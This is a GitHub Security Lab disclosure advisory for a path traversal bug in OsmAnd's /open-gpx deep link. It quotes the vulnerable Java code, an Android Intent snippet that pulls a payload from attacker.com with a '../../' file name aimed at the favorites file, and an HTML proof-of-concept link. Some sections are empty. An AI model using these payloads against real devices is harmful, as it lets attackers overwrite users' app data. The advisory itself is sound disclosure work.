Coordinated Disclosure Timeline

Summary

OsmAnd version OsmAnd_5.3.2 is vulnerable to a path traversal issue (GHSL-2026-106) via the /open-gpx deep link, allowing a remote attacker to retrieve arbitrary URLs from the device’s network context and write attacker-controlled .gpx files to arbitrary locations within OsmAnd’s scoped storage directory.

Project

OsmAnd

Tested Version

3043c92b27b24a0b2c848bc7041cf5f69ede4ed6

OsmAnd_5.3.2

Details

OsmAnd registers an intent filter for https://osmand.net/open-gpx?url=<URL>&name=<NAME> deep links in its AndroidManifest.xml. When this deep link is opened, MapActivity dispatches the intent to IntentHelper.parseOpenGpxIntent():

Path Traversal in name Parameter (CWE-22)

The name query parameter is used as the output filename without sanitization:

String name = data.getQueryParameter("name");
if (Algorithms.isEmpty(name)) {
    name = Algorithms.getFileWithoutDirs(url);  // Only sanitized in this fallback
}
if (!name.endsWith(IndexConstants.GPX_FILE_EXT)) {
    name += IndexConstants.GPX_FILE_EXT;
}
String fileName = name;
AndroidNetworkUtils.downloadFileAsync(url, app.getAppPath(IndexConstants.GPX_IMPORT_DIR + fileName), ...);

Note that Algorithms.getFileWithoutDirs() (which strips directory separators) is only called when name is empty — when the attacker supplies a name parameter, it is used directly. The destination path resolves to:

new File(externalStorageDirectory, "tracks/import/" + name)

A name value of ../../poc_escaped.gpx resolves to externalStorageDirectory/poc_escaped.gpx, escaping the intended tracks/import/ directory. The attacker can write .gpx files to any location within OsmAnd’s scoped external storage directory, including:

The file must end with .gpx (enforced at line 607–608), but this is not a meaningful restriction since OsmAnd stores favorites, itineraries, and track data all as .gpx files.

Remote Triggerability

The intent filter at AndroidManifest.xml declares android.intent.category.BROWSABLE, making the deep link openable from a web browser. On Play-Store-signed builds, osmand.net passes Android App Link verification (the assetlinks.json lists both net.osmand and net.osmand.plus), so on Android 12+ the link is dispatched silently to OsmAnd with no user prompt beyond the initial tap.

A malicious app on the same device can also trigger this without any browser interaction:

Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("https://osmand.net/open-gpx?url=http://attacker.com/payload&name=../../favorites/favorites-personal.gpx"));
startActivity(intent);

Impact

Practical impact limitations:

OsmAnd’s internal architecture limits the real-world exploitability of the path traversal for overwriting existing data:

Proof of Concept

<a href="https://osmand.net/open-gpx?url=http%3A%2F%2F127.0.0.1%3A18000%2Ffavorites.gpx&name=..%2F..%2Ffavorites%2Ffavorites-personal.gpx">link text</a>

The following HTML can be added to an attacker page. When clicked, OsmAnd downloads the hosted favorites-personal.gpx, whose entries will be added to My Places.

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2026-106 in any communication regarding this issue.